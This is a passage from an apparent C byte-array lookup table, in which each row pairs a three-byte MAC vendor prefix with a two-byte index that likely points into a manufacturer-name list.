0x0a,\r\n0x0C, 0x75, 0x6C, 0xc7, 0x28,\r\n0x0C, 0x75, 0xBD, 0x05, 0x00,\r\n0x0C, 0x77, 0x1A, 0x51, 0x03,\r\n0x0C, 0x7D, 0x7C, 0xc8, 0x28,\r\n0x0C, 0x80, 0x63, 0xcf, 0x09,\r\n0x0C, 0x81, 0x12, 0x65, 0x00,\r\n0x0C, 0x82, 0x30, 0xe9, 0x01,\r\n0x0C, 0x82, 0x68, 0xcf, 0x09,\r\n0x0C, 0x82, 0x6A, 0xc9, 0x28,\r\n0x0C, 0x84, 0x11, 0xca, 0x28,\r\n0x0C, 0x84, 0x84, 0xcb, 0x28,\r\n0x0C, 0x84, 0xDC, 0xe3, 0x11,\r\n0x0C, 0x85, 0x25, 0x05, 0x00,\r\n0x0C, 0x86, 0x10, 0x08, 0x05,\r\n0x0C, 0x89, 0x10, 0x4f, 0x02,\r\n0x0C, 0x8A, 0x87, 0xcc, 0x28,\r\n0x0C, 0x8B, 0xD3, 0xcd, 0x28,\r\n0x0C, 0x8B, 0xFD, 0x80, 0x10,\r\n0x0C, 0x8C, 0x8F, 0xce, 0x28,\r\n0x0C, 0x8C, 0xDC, 0xcf, 0x28,\r\n0x0C, 0x8D, 0x98, 0xd0, 0x28,\r\n0x0C, 0x8D, 0xDB, 0x80, 0x14,\r\n0x0C, 0x8F, 0xFF, 0xda, 0x14,\r\n0x0C, 0x91, 0x60, 0xc3, 0x28,\r\n0x0C, 0x92, 0x4E, 0xd1, 0x28,\r\n0x0C, 0x93, 0x01, 0xd2, 0x28,\r\n0x0C, 0x93, 0xFB, 0xd3, 0x28,\r\n0x0C, 0x96, 0xBF, 0xda, 0x14,\r\n0x0C, 0x98, 0x38, 0x34, 0x24,\r\n0x0C, 0x9B, 0x13, 0x0e, 0x03,\r\n0x0C, 0x9D, 0x56, 0xd4, 0x28,\r\n0x0C, 0x9E, 0x91, 0xd5, 0x28,\r\n0x0C, 0xA1, 0x38, 0xd6, 0x28,\r\n0x0C, 0xA2, 0xF4, 0xd7, 0x28,\r\n0x0C, 0xA4, 0x02, 0xd1, 0x06,\r\n0x0C, 0xA4, 0x2A, 0xd8, 0x28,\r\n0x0C, 0xA6, 0x94, 0xdc, 0x18,\r\n0x0C, 0xA8, 0xA7, 0x4f, 0x02,\r\n0x0C, 0xAC, 0x05, 0xd9, 0x28,\r\n0x0C, 0xAE, 0x7D, 0xeb, 0x0f,\r\n0x0C, 0xAF, 0x5A, 0xda, 0x28,\r\n0x0C, 0xB2, 0xB7, 0xeb, 0x0f,\r\n0x0C, 0xB3, 0x19, 0x4f, 0x02,\r\n0x0C, 0xB3, 0x4F, 0xe9, 0x01,\r\n0x0C, 0xB4, 0x59, 0xdb, 0x28,\r\n0x0C, 0xB4, 0xEF, 0xdc, 0x28,\r\n0x0C, 0xB5, 0xDE, 0xdd, 0x28,\r\n0x0C, 0xB6, 0xD2, 0xde, 0x28,\r\n0x0C, 0xB9, 0x12, 0xdf, 0x28,\r\n0x0C, 0xB9, 0x37, 0xe0, 0x28,\r\n0x0C, 0xBC, 0x9F, 0x51, 0x03,\r\n0x0C, 0xBD, 0x51, 0xe1, 0x28,\r\n0x0C, 0xBF, 0x15, 0x9a, 0x09,\r\n0x0C, 0xBF, 0x3F, 0xe9, 0x01,\r\n0x0C, 0xC0, 0xC0, 0x67, 0x11,\r\n0x0C, 0xC3, 0xA7, 0xe2, 0x28,\r\n0x0C, 0xC4, 0x7A, 0x43, 0x1e,\r\n0x0C, 0xC4, 0x7E, 0xe3, 0x28,\r\n0x0C, 0xC6, 0x55, 0xe4, 0x28,\r\n0x0C, 0xC6, 0x6A, 0x4f, 0x12,\r\n0x0C, 0xC6, 0xAC, 0xf6, 0x13,\r\n0x0C, 0xC6, 0xCC, 0xda, 0x14,\r\n0x0C, 0xC7, 0x31, 0xe5, 0x28,\r\n0x0C, 0xC8, 0x1F, 0xe6, 0x28,\r\n0x0C, 0xC9, 0xC6, 0xe7, 0x28,\r\n0x0C, 0xCB, 0x8D, 0xe8, 0x28,\r\n0x0C, 0xCC, 0x26, 0xe9, 0x28,\r\n0x0C, 0xCD, 0xD3, 0xea, 0x28,\r\n0x0C, 0xCD, 0xFB, 0xeb, 0x28,\r\n0x0C, 0xCE, 0xF6, 0xec, 0x28,\r\n0x0C, 0xCF, 0xD1, 0xed, 0x28,\r\n0x0C, 0xD2, 0x92, 0x80, 0x10,\r\n0x0C, 0xD2, 0xB5, 0xc7, 0x09,\r\n0x0C, 0xD5, 0x02, 0x0a, 0x0e,\r\n0x0C, 0xD6, 0x96, 0xee, 0x28,\r\n0x0C, 0xD6, 0xBD, 0xda, 0x14,\r\n0x0C, 0xD7, 0x46, 0x51, 0x03,\r\n0x0C, 0xD7, 0xC2, 0xef, 0x28,\r\n0x0C, 0xD8, 0x6C, 0xe9, 0x01,\r\n0x0C, 0xD9, 0x96, 0x05, 0x00,\r\n0x0C, 0xD9, 0xC1, 0x9c, 0x08,\r\n0x0C, 0xDA, 0x41, 0x10, 0x0e,\r\n0x0C, 0xDC, 0xCC, 0xf0, 0x28,\r\n0x0C, 0xDD, 0xEF, 0x4f, 0x12,\r\n0x0C, 0xDF, 0xA4, 0x4f, 0x02,\r\n0x0C, 0xE0, 0xDC, 0x4f, 0x02,\r\n0x0C, 0xE0, 0xE4, 0x49, 0x03,\r\n0x0C, 0xE5, 0xD3, 0xf1, 0x28,\r\n0x0C, 0xE7, 0x09, 0xf2, 0x28,\r\n0x0C, 0xE7, 0x25, 0xb4, 0x03,\r\n0x0C, 0xE8, 0x2F, 0xf3, 0x28,\r\n0x0C, 0xE9, 0x36, 0xf4, 0x28,\r\n0x0C, 0xEA, 0xC9, 0xb9, 0x00,\r\n0x0C, 0xEE, 0xE6, 0xe3, 0x11,\r\n0x0C, 0xEF, 0x7C, 0xf5, 0x28,\r\n0x0C, 0xEF, 0xAF, 0x57, 0x17,\r\n0x0C, 0xF0, 0x19, 0xf6, 0x28,\r\n0x0C, 0xF0, 0xB4, 0x3c, 0x0c,\r\n0x0C, 0xF3, 0x46, 0x34, 0x24,\r\n0x0C, 0xF3, 0x61, 0xf7, 0x28,\r\n0x0C, 0xF3, 0xEE, 0xf8, 0x28,\r\n0x0C, 0xF4, 0x05, 0xd6, 0x1c,\r\n0x0C, 0xF4, 0xD5, 0x02, 0x11,\r\n0x0C, 0xF5, 0xA4, 0x05, 0x00,\r\n0x0C, 0xF8, 0x93, 0xb9, 0x00,\r\n0x0C, 0xF9, 0xC0, 0xf8, 0x15,\r\n0x0C, 0xFC, 0x83, 0xf9, 0x28,\r\n0x0C, 0xFD, 0x37, 0xfa, 0x28,\r\n0x0C, 0xFE, 0x45, 0xd3, 0x03,\r\n0x10, 0x00, 0x00, 0x65, 0x00,\r\n0x10, 0x00, 0x5A, 0x2f, 0x02,\r\n0x10, 0x00, 0x90, 0x51, 0x22,\r\n0x10, 0x00, 0xD4, 0xfb, 0x28,\r\n0x10, 0x00, 0xE0, 0xfc, 0x28,\r\n0x10, 0x00, 0xE8, 0xf5, 0x04,\r\n0x10, 0x00, 0xFD, 0xfd, 0x28,\r\n0x10, 0x01, 0xCA, 0xfe, 0x28,\r\n0x10, 0x02, 0xB5, 0x80, 0x10,\r\n0x10, 0x05, 0x01, 0x97, 0x22,\r\n0x10, 0x05, 0xB1, 0xb9, 0x00,\r\n0x10, 0x05, 0xCA, 0x05, 0x00,\r\n0x10, 0x07, 0x23, 0x57, 0x17,\r\n0x10, 0x07, 0xB6, 0x4f, 0x02,\r\n0x10, 0x08, 0xB1, 0xe3, 0x11,\r\n0x10, 0x09, 0x0C, 0xff, 0x28,\r\n0x10, 0x0B, 0xA9, 0x80, 0x10,\r\n0x10, 0x0C, 0x24, 0x00, 0x29,\r\n0x10, 0x0D, 0x2F, 0x01, 0x29,\r\n0x10, 0x0D, 0x32, 0x02, 0x29,\r\n0x10, 0x0D, 0x7F, 0x68, 0x08,\r\n0x10, 0x0E, 0x2B, 0x03, 0x29,\r\n0x10, 0x0E, 0x7E, 0x08, 0x05,\r\n0x10, 0x0F, 0x18, 0x04, 0x29,\r\n0x10, 0x10, 0xB6, 0x05, 0x29,\r\n0x10, 0x12, 0x12, 0x06, 0x29,\r\n0x10, 0x12, 0x18, 0x07, 0x29,\r\n0x10, 0x12, 0x48, 0x08, 0x29,\r\n0x10, 0x12, 0x50, 0xd5, 0x00,\r\n0x10, 0x13, 0x31, 0xc2, 0x12,\r\n0x10, 0x13, 0xEE, 0x09, 0x29,\r\n0x10, 0x18, 0x9E, 0x0a, 0x29,\r\n0x10, 0x1B, 0x54, 0xda, 0x14,\r\n0x10, 0x1C, 0x0C, 0x51, 0x03,\r\n0x10, 0x1D, 0x51, 0x0b, 0x29,\r\n0x10, 0x1D, 0xC0, 0x4f, 0x02,\r\n0x10, 0x1F, 0x74, 0xc9, 0x01,\r\n0x10, 0x22, 0x79, 0x0c, 0x29,\r\n0x10, 0x27, 0xBE, 0x0d, 0x29,\r\n0x10, 0x28, 0x31, 0x0e, 0x29,\r\n0x10, 0x2A, 0xB3, 0x34, 0x24,\r\n0x10, 0x2C, 0x83, 0x0f, 0x29,\r\n0x10, 0x2D, 0x96, 0x10, 0x29,\r\n0x10, 0x2E, 0xAF, 0xeb, 0x0f,\r\n0x10, 0x2F, 0x6B, 0xb4, 0x03,\r\n0x10, 0x30, 0x34, 0x11, 0x29,\r\n0x10, 0x30, 0x47, 0x4f, 0x02,\r\n0x10, 0x33, 0x78, 0x12, 0x29,\r\n0x10, 0x37, 0x11, 0x13, 0x29,\r\n0x10, 0x3B, 0x59, 0x4f, 0x02,\r\n0x10, 0x3D, 0xEA, 0x14, 0x29,\r\n0x10, 0x40, 0xF3, 0x51, 0x03,\r\n0x10, 0x41, 0x7F, 0x51, 0x03,\r\n0x10, 0x43, 0x69, 0x15, 0x29,\r\n0x10, 0x44, 0x00, 0xda, 0x14,\r\n0x10, 0x44, 0x5A, 0x16, 0x29,\r\n0x10, 0x45, 0xBE, 0x17, 0x29,\r\n0x10, 0x45, 0xF8, 0x18, 0x29,\r\n0x10, 0x46, 0xB4, 0x19, 0x29,\r\n0x10, 0x47, 0x80, 0xda, 0x14,\r\n0x10, 0x48, 0xB1, 0xf3, 0x16,\r\n0x10, 0x49, 0x63, 0x1a, 0x29,\r\n0x10, 0x4A, 0x7D, 0x80, 0x10,\r\n0x10, 0x4B, 0x46, 0xb2, 0x00,\r\n0x10, 0x4D, 0x77, 0xd3, 0x01,\r\n0x10, 0x4E, 0x07, 0x0e, 0x03,\r\n0x10, 0x4E, 0x89, 0xdb, 0x04,\r\n0x10, 0x4F, 0xA8, 0x34, 0x01,\r\n0x10, 0x51, 0x72, 0xda, 0x14,\r\n0x10, 0x56, 0x11, 0xb9, 0x00,\r\n0x10, 0x56, 0xCA, 0x4c, 0x0f,\r\n0x10, 0x58, 0x87, 0x54, 0x1f,\r\n0x10, 0x59, 0x17, 0x1b, 0x29,\r\n0x10, 0x5A, 0xF7, 0x1c, 0x29,\r\n0x10, 0x5C, 0x3B, 0x1d, 0x29,\r\n0x10, 0x5C, 0xBF, 0x1e, 0x29,\r\n0x10, 0x5F, 0x06, 0xe7, 0x0d,\r\n0x10, 0x5F, 0x49, 0xc4, 0x14,\r\n0x10, 0x60, 0x4B, 0xc9, 0x01,\r\n0x10, 0x62, 0xC9, 0x1f, 0x29,\r\n0x10, 0x62, 0xD0, 0xc2, 0x12,\r\n0x10, 0x62, 0xEB, 0xde, 0x28,\r\n0x10, 0x64, 0xE2, 0x20, 0x29,\r\n0x10, 0x65, 0x30, 0xd1, 0x05,\r\n0x10, 0x65, 0xA3, 0x21, 0x29,\r\n0x10, 0x65, 0xCF, 0x22, 0x29,\r\n0x10, 0x66, 0x82, 0xa2, 0x0b,\r\n0x10, 0x68, 0x3F, 0xce, 0x17,\r\n0x10, 0x6F, 0x3F, 0xa2, 0x06,\r\n0x10, 0x6F, 0xEF, 0x23, 0x29,\r\n0x10, 0x71, 0xF9, 0x24, 0x29,\r\n0x10, 0x72, 0x23, 0x25, 0x29,\r\n0x10, 0x76, 0x8A, 0x26, 0x29,\r\n0x10, 0x77, 0xB0, 0x54, 0x1f,\r\n0x10, 0x77, 0xB1, 0x4f, 0x02,\r\n0x10, 0x78, 0x5B, 0xe7, 0x0d,\r\n0x10, 0x78, 0x73, 0xe9, 0x01,\r\n0x10, 0x78, 0xCE, 0x27, 0x29,\r\n0x10, 0x78, 0xD2, 0xee, 0x06,\r\n0x10, 0x7A, 0x86, 0x28, 0x29,\r\n0x10, 0x7B, 0x44, 0x20, 0x0b,\r\n0x10, 0x7B, 0xA4, 0x29, 0x29,\r\n0x10, 0x7B, 0xEF, 0xc6, 0x10,\r\n0x10, 0x7D, 0x1A, 0xd1, 0x05,\r\n0x10, 0x83, 0xD2, 0x2a, 0x29,\r\n0x10, 0x86, 0x8C, 0xb9, 0x00,\r\n0x10, 0x88, 0x0F, 0x2b, 0x29,\r\n0x10, 0x88, 0xCE, 0x54, 0x1f,\r\n0x10, 0x8A, 0x1B, 0x2c, 0x29,\r\n0x10, 0x8C, 0xCF, 0x05, 0x00,\r\n0x10, 0x8E, 0xE0, 0x4f, 0x02,\r\n0x10, 0x92, 0x66, 0x4f, 0x02,\r\n0x10, 0x93, 0xE9, 0x51, 0x03,\r\n0x10, 0x94, 0xBB, 0x51, 0x03,\r\n0x10, 0x95, 0x4B, 0x2d, 0x29,\r\n0x10, 0x98, 0x36, 0xd1, 0x05,\r\n0x10, 0x9A, 0xB9, 0x2e, 0x29,\r\n0x10, 0x9A, 0xDD, 0x51, 0x03,\r\n0x10, 0x9F, 0xA9, 0xe7, 0x0d,\r\n0x10, 0xA1, 0x3B, 0x6f, 0x0a,\r\n0x10, 0xA4, 0xB9, 0x2f, 0x29,\r\n0x10, 0xA4, 0xBE, 0xe9, 0x01,\r\n0x10, 0xA5, 0xD0, 0xd4, 0x0c,\r\n0x10, 0xA6, 0x59, 0x30, 0x29,\r\n0x10, 0xA7, 0x43, 0x31, 0x29,\r\n0x10, 0xA9, 0x32, 0x32, 0x29,\r\n0x10, 0xAE, 0x60, 0x65, 0x00,\r\n0x10, 0xAF, 0x78, 0xe9, 0x01,\r\n0x10, 0xB1, 0xF8, 0xda, 0x14,\r\n0x10, 0xB2, 0x6B, 0x33, 0x29,\r\n0x10, 0xB3, 0x6F, 0x34, 0x29,\r\n0x10, 0xB7, 0x13, 0x65, 0x00,\r\n0x10, 0xB7, 0xF6, 0x35, 0x29,\r\n0x10, 0xB9, 0xFE, 0x36, 0x29,\r\n0x10, 0xBA, 0xA5, 0x37, 0x29,\r\n0x10, 0xBD, 0x18, 0x05, 0x00,\r\n0x10, 0xBD, 0x55, 0x38, 0x29,\r\n0x10, 0xBE, 0xF5, 0xde, 0x28,\r\n0x10, 0xBF, 0x48, 0x20, 0x0b,\r\n0x10, 0xC0, 0x7C, 0x39, 0x29,\r\n0x10, 0xC1, 0x72, 0xda, 0x14,\r\n0x10, 0xC2, 0x5A, 0xc2, 0x12,\r\n0x10, 0xC2, 0xBA, 0x3a, 0x29,\r\n0x10, 0xC3, 0x7B, 0x20, 0x0b,\r\n0x10, 0xC5, 0x86, 0x3b, 0x29,\r\n0x10, 0xC6, 0x0C, 0x3c, 0x29,\r\n0x10, 0xC6, 0x1F, 0xda, 0x14,\r\n0x10, 0xC6, 0x7E, 0xe9, 0x01,\r\n0x10, 0xC6, 0xFC, 0xdb, 0x04,\r\n0x10, 0xC7, 0x3F, 0x3d, 0x29,\r\n0x10, 0xCA, 0x81, 0x3e, 0x29,\r\n0x10, 0xCC, 0x1B, 0x3f, 0x29,\r\n0x10, 0xCC, 0xDB, 0x40, 0x29,\r\n0x10, 0xCD, 0x6E, 0x41, 0x29,\r\n0x10, 0xCD, 0xAE, 0xc2, 0x03,\r\n0x10, 0xCD, 0xB6, 0x04, 0x14,\r\n0x10, 0xCE, 0xA9, 0xeb, 0x0f,\r\n0x10, 0xD0, 0x7A, 0x8e, 0x1c,\r\n0x10, 0xD0, 0xAB, 0xe1, 0x12,\r\n0x10, 0xD1, 0xDC, 0x42, 0x29,\r\n0x10, 0xD3, 0x8A, 0x4f, 0x02,\r\n0x10, 0xD5, 0x42, 0x4f, 0x02,\r\n0x10, 0xDA, 0x43, 0x68, 0x08,\r\n0x10, 0xDD, 0xB1, 0x51, 0x03,\r\n0x10, 0xDD, 0xF4, 0x43, 0x29,\r\n0x10, 0xDE, 0xE4, 0xda, 0x13,\r\n0x10, 0xDF, 0x8B, 0xe9, 0x01,\r\n0x10, 0xE2, 0xD5, 0x44, 0x29,\r\n0x10, 0xE3, 0xC7, 0x45, 0x29,\r\n0x10, 0xE4, 0xAF, 0x46, 0x29,\r\n0x10, 0xE6, 0x8F, 0x47, 0x29,\r\n0x10, 0xE6, 0xAE, 0x48, 0x29,\r\n0x10, 0xE7, 0xC6, 0xc9, 0x01,\r\n0x10, 0xE8, 0x78, 0x4f, 0x12,\r\n0x10, 0xE8, 0xEE, 0x49, 0x29,\r\n0x10, 0xEA, 0x59, 0xc4, 0x14,\r\n0x10, 0xEE, 0xD9, 0x4a, 0x29,\r\n0x10, 0xF0, 0x05, 0x80, 0x10,\r\n0x10, 0xF1, 0x63, 0x4b, 0x29,\r\n0x10, 0xF1, 0xF2, 0xce, 0x17,\r\n0x10, 0xF3, 0x11, 0x05, 0x00,\r\n0x10, 0xF3, 0xDB, 0x4c, 0x29,\r\n0x10, 0xF4, 0x9A, 0x4d, 0x29,\r\n0x10, 0xF6, 0x81, 0x5d, 0x28,\r\n0x10, 0xF9, 0x6F, 0xce, 0x17,\r\n0x10, 0xF9, 0xEB, 0xf6, 0x09,\r\n0x10, 0xF9, 0xEE, 0x4f, 0x12,\r\n0x10, 0xFA, 0xCE, 0x4e, 0x29,\r\n0x10, 0xFB, 0xF0, 0x4f, 0x29,\r\n0x10, 0xFC, 0x54, 0x50, 0x29,\r\n0x10, 0xFC, 0xB6, 0x51, 0x29,\r\n0x10, 0xFE, 0xED, 0xcf, 0x09,\r\n0x11, 0x00, 0xAA, 0x65, 0x00,\r\n0x11, 0x11, 0x11, 0x65, 0x00,\r\n0x14, 0x02, 0xEC, 0xc9, 0x01,\r\n0x14, 0x04, 0x67, 0x52, 0x29,\r\n0x14, 0x07, 0x08, 0x65, 0x00,\r\n0x14, 0x07, 0xE0, 0x53, 0x29,\r\n0x14, 0x09, 0xDC, 0xda, 0x14,\r\n0x14, 0x0C, 0x5B, 0x54, 0x29,\r\n0x14, 0x0C, 0x76, 0x1f, 0x07,\r\n0x14, 0x0D, 0x4F, 0x10, 0x05,\r\n0x14, 0x10, 0x9F, 0x51, 0x03,\r\n0x14, 0x13, 0x30, 0x55, 0x29,\r\n0x14, 0x13, 0x57, 0x56, 0x29,\r\n0x14, 0x14, 0x4B, 0x99, 0x22,\r\n0x14, 0x14, 0xE6, 0x57, 0x29,\r\n0x14, 0x15, 0x7C, 0x58, 0x29,\r\n0x14, 0x16, 0x9E, 0x6a, 0x19,\r\n0x14, 0x18, 0x77, 0xd1, 0x05,\r\n0x14, 0x1A, 0x51, 0x59, 0x29,\r\n0x14, 0x1A, 0xA3, 0x22, 0x09,\r\n0x14, 0x1B, 0xBD, 0x5a, 0x29,\r\n0x14, 0x1B, 0xF0, 0x5b, 0x29,\r\n0x14, 0x1F, 0x78, 0x4f, 0x02,\r\n0x14, 0x1F, 0xBA, 0x57, 0x17,\r\n0x14, 0x20, 0x5E, 0x51, 0x03,\r\n0x14, 0x22, 0xDB, 0x5c, 0x29,\r\n0x14, 0x23, 0xD7, 0x5d, 0x29,\r\n0x14, 0x28, 0x82, 0x5e, 0x29,\r\n0x14, 0x29, 0x71, 0x5f, 0x29,\r\n0x14, 0x2B, 0xD2, 0x60, 0x29,\r\n0x14, 0x2B, 0xD6, 0xc8, 0x0a,\r\n0x14, 0x2D, 0x27, 0xe3, 0x11,\r\n0x14, 0x2D, 0x8B, 0x61, 0x29,\r\n0x14, 0x2D, 0xF5, 0x62, 0x29,\r\n0x14, 0x2F, 0xFD, 0x63, 0x29,\r\n0x14, 0x30, 0x04, 0xda, 0x14,\r\n0x14, 0x30, 0x7A, 0x64, 0x29,\r\n0x14, 0x30, 0xC6, 0x22, 0x09,\r\n0x14, 0x32, 0xD1, 0x4f, 0x02,\r\n0x14, 0x33, 0x65, 0x65, 0x29,\r\n0x14, 0x35, 0x8B, 0x66, 0x29,\r\n0x14, 0x35, 0xB3, 0x67, 0x29,\r\n0x14, 0x36, 0x05, 0x4f, 0x12,\r\n0x14, 0x36, 0xC6, 0x8c, 0x10,\r\n0x14, 0x37, 0x3B, 0x68, 0x29,\r\n0x14, 0x3A, 0xEA, 0x69, 0x29,\r\n0x14, 0x3D, 0xF2, 0xd6, 0x1c,\r\n0x14, 0x3E, 0x60, 0x4f, 0x12,\r\n0x14, 0x3E, 0xBF, 0xe1, 0x12,\r\n0x14, 0x3F, 0x27, 0x6a, 0x29,\r\n0x14, 0x41, 0x46, 0xc2, 0x05,\r\n0x14, 0x41, 0xE2, 0x6b, 0x29,\r\n0x14, 0x43, 0x19, 0x1a, 0x02,\r\n0x14, 0x44, 0x4A, 0x6c, 0x29,\r\n0x14, 0x46, 0xE4, 0x6d, 0x29,\r\n0x14, 0x48, 0x8B, 0xe9, 0x01,\r\n0x14, 0x49, 0x78, 0xd8, 0x02,\r\n0x14, 0x49, 0xE0, 0x4f, 0x02,\r\n0x14, 0x4C, 0x1A, 0x6e, 0x29,\r\n0x14, 0x4D, 0x67, 0x3a, 0x0d,\r\n0x14, 0x4E, 0x34, 0x6f, 0x29,\r\n0x14, 0x4F, 0x8A, 0x80, 0x10,\r\n0x14, 0x4F, 0xD7, 0x57, 0x17,\r\n0x14, 0x54, 0x12, 0x70, 0x29,\r\n0x14, 0x56, 0x45, 0x71, 0x29,\r\n0x14, 0x56, 0x8E, 0x4f, 0x02,\r\n0x14, 0x57, 0x9F, 0xda, 0x14,\r\n0x14, 0x58, 0xD0, 0xc9, 0x01,\r\n0x14, 0x5A, 0x05, 0x51, 0x03,\r\n0x14, 0x5A, 0x83, 0x72, 0x29,\r\n0x14, 0x5B, 0xD1, 0xb9, 0x00,\r\n0x14, 0x5B, 0xE1, 0x73, 0x29,\r\n0x14, 0x5E, 0x45, 0x74, 0x29,\r\n0x14, 0x5F, 0x94, 0xda, 0x14,\r\n0x14, 0x60, 0x80, 0xe1, 0x12,\r\n0x14, 0x61, 0x02, 0x06, 0x09,\r\n0x14, 0x61, 0x2F, 0xc2, 0x03,\r\n0x14, 0x63, 0x08, 0x91, 0x25,\r\n0x14, 0x6A, 0x0B, 0x75, 0x29,\r\n0x14, 0x6B, 0x72, 0xe9, 0x01,\r\n0x14, 0x6B, 0x9C, 0xe9, 0x01,\r\n0x14, 0x6E, 0x0A, 0x65, 0x00,\r\n0x14, 0x73, 0x73, 0x76, 0x29,\r\n0x14, 0x74, 0x11, 0xe2, 0x1c,\r\n0x14, 0x75, 0x90, 0xcf, 0x09,\r\n0x14, 0x78, 0x0B, 0x77, 0x29,\r\n0x14, 0x79, 0xF3, 0xe5, 0x25,\r\n0x14, 0x7D, 0xB3, 0x78, 0x29,\r\n0x14, 0x7D, 0xC5, 0xd4, 0x0c,\r\n0x14, 0x82, 0x5B, 0x79, 0x29,\r\n0x14, 0x86, 0x92, 0xcf, 0x09,\r\n0x14, 0x89, 0x3E, 0x7a, 0x29,\r\n0x14, 0x89, 0x51, 0x7b, 0x29,\r\n0x14, 0x89, 0xFD, 0x4f, 0x02,\r\n0x14, 0x8A, 0x70, 0x7c, 0x29,\r\n0x14, 0x8F, 0x21, 0xdb, 0x04,\r\n0x14, 0x8F, 0xC6, 0x51, 0x03,\r\n0x14, 0x90, 0x90, 0x7d, 0x29,\r\n0x14, 0x91, 0x82, 0xe5, 0x13,\r\n0x14, 0x93, 0x46, 0x7e, 0x29,\r\n0x14, 0x94, 0x48, 0x7f, 0x29,\r\n0x14, 0x98, 0x7D, 0xc2, 0x12,\r\n0x14, 0x99, 0xE2, 0x51, 0x03,\r\n0x14, 0x9A, 0x10, 0xb4, 0x03,\r\n0x14, 0x9B, 0x2F, 0x80, 0x29,\r\n0x14, 0x9D, 0x09, 0xda, 0x14,\r\n0x14, 0x9E, 0xCF, 0xd1, 0x05,\r\n0x14, 0x9F, 0x3C, 0x4f, 0x02,\r\n0x14, 0x9F, 0xB6, 0xc8, 0x0a,\r\n0x14, 0x9F, 0xE8, 0x8c, 0x10,\r\n0x14, 0xA0, 0xF8, 0xda, 0x14,\r\n0x14, 0xA3, 0x64, 0x4f, 0x02,\r\n0x14, 0xA5, 0x1A, 0xda, 0x14,\r\n0x14, 0xA6, 0x2C, 0x81, 0x29,\r\n0x14, 0xA7, 0x2B, 0x82, 0x29,\r\n0x14, 0xA7, 0x8B, 0x27, 0x07,\r\n0x14, 0xA8, 0x6B, 0xe9, 0x01,\r\n0x14, 0xA9, 0xE3, 0x83, 0x29,\r\n0x14, 0xAB, 0xC5, 0x80, 0x10,\r\n0x14, 0xAB, 0xF0, 0xb9, 0x00,\r\n0x14, 0xAE, 0xDB, 0xe0, 0x0f,\r\n0x14, 0xB1, 0x26, 0xf6, 0x09,\r\n0x14, 0xB1, 0xC8, 0x84, 0x29,\r\n0x14, 0xB3, 0x1F, 0xd1, 0x05,\r\n0x14, 0xB3, 0x70, 0x85, 0x29,\r\n0x14, 0xB4, 0x84, 0x4f, 0x02,\r\n0x14, 0xB7, 0x3D, 0x86, 0x29,\r\n0x14, 0xB7, 0xF8, 0xc2, 0x12,\r\n0x14, 0xB8, 0x37, 0xe9, 0x01,\r\n0x14, 0xB9, 0x68, 0xda, 0x14,\r\n0x14, 0xBB, 0x6E, 0x4f, 0x02,\r\n0x14, 0xBD, 0x61, 0x51, 0x03,\r\n0x14, 0xC0, 0x89, 0x87, 0x29,\r\n0x14, 0xC1, 0x26, 0x4f, 0x12,\r\n0x14, 0xC1, 0xFF, 0xe9, 0x01,\r\n0x14, 0xC2, 0x1D, 0x88, 0x29,\r\n0x14, 0xC3, 0xC2, 0x89, 0x29,\r\n0x14, 0xC9, 0x13, 0xce, 0x17,\r\n0x14, 0xCA, 0xA0, 0x8a, 0x29,\r\n0x14, 0xCC, 0x20, 0xcf, 0x09,\r\n0x14, 0xCF, 0x8D, 0x8b, 0x29,\r\n0x14, 0xCF, 0x92, 0xcf, 0x09,\r\n0x14, 0xCF, 0xE2, 0xb9, 0x00,\r\n0x14, 0xD1, 0x1F, 0xda, 0x14,\r\n0x14, 0xD4, 0xFE, 0xb9, 0x00,\r\n0x14, 0xD6, 0x4D, 0xde, 0x28,\r\n0x14, 0xD7, 0x6E, 0x8c, 0x29,\r\n0x14, 0xDA, 0xE9, 0x20, 0x0b,\r\n0x14, 0xDB, 0x85, 0x8d, 0x29,\r\n0x14, 0xDD, 0xA9, 0x20, 0x0b,\r\n0x14, 0xDD, 0xE5, 0x8e, 0x29,\r\n0x14, 0xE4, 0xEC, 0x8f, 0x29,\r\n0x14, 0xE6, 0xE4, 0xcf, 0x09,\r\n0x14, 0xE7, 0xC8, 0xd5, 0x00,\r\n0x14, 0xEB, 0x33, 0x90, 0x29,\r\n0x14, 0xED, 0xA5, 0x91, 0x29,\r\n0x14, 0xED, 0xBB, 0x02, 0x0c,\r\n0x14, 0xED, 0xE4, 0x92, 0x29,\r\n0x14, 0xEE, 0x9D, 0x93, 0x29,\r\n0x14, 0xF0, 0xC5, 0x94, 0x29,\r\n0x14, 0xF2, 0x8E, 0x58, 0x06,\r\n0x14, 0xF4, 0x2A, 0x4f, 0x02,\r\n0x14, 0xF6, 0x5A, 0x34, 0x24,\r\n0x14, 0xF8, 0x93, 0xa8, 0x09,\r\n0x14, 0xFE, 0xAF, 0x95, 0x29,\r\n0x14, 0xFE, 0xB5, 0xd1, 0x05,\r\n0x18, 0x00, 0x2D, 0xbe, 0x09,\r\n0x18, 0x00, 0xDB, 0x96, 0x29,\r\n0x18, 0x01, 0x7D, 0x97, 0x29,\r\n0x18, 0x01, 0xE3, 0x98, 0x29,\r\n0x18, 0x03, 0x73, 0xd1, 0x05,\r\n0x18, 0x03, 0xFA, 0x99, 0x29,\r\n0x18, 0x06, 0x75, 0x9a, 0x29,\r\n0x18, 0x06, 0xFF, 0x9b, 0x29,\r\n0x18, 0x0B, 0x52, 0x9c, 0x29,\r\n0x18, 0x0C, 0x14, 0x9d, 0x29,\r\n0x18, 0x0C, 0x77, 0x9e, 0x29,\r\n0x18, 0x0C, 0xAC, 0x7d, 0x00,\r\n0x18, 0x0F, 0x76, 0xde, 0x28,\r\n0x18, 0x10, 0x4E, 0x9f, 0x29,\r\n0x18, 0x12, 0x12, 0xa0, 0x29,\r\n0x18, 0x14, 0x20, 0xa1, 0x29,\r\n0x18, 0x14, 0x56, 0x4f, 0x12,\r\n0x18, 0x16, 0xC9, 0x4f, 0x02,\r\n0x18, 0x17, 0x14, 0xa2, 0x29,\r\n0x18, 0x17, 0x25, 0x2a, 0x15,\r\n0x18, 0x19, 0x3F, 0xa3, 0x29,\r\n0x18, 0x1B, 0xEB, 0xe7, 0x0d,\r\n0x18, 0x1E, 0x78, 0xc4, 0x0c,\r\n0x18, 0x1E, 0xB0, 0x4f, 0x02,\r\n0x18, 0x20, 0x12, 0xa4, 0x29,\r\n0x18, 0x20, 0x32, 0x51, 0x03,\r\n0x18, 0x20, 0x4C, 0xa5, 0x29,\r\n0x18, 0x20, 0xA6, 0xbf, 0x03,\r\n0x18, 0x21, 0x95, 0x4f, 0x02,\r\n0x18, 0x22, 0x7E, 0x4f, 0x02,\r\n0x18, 0x26, 0x66, 0x4f, 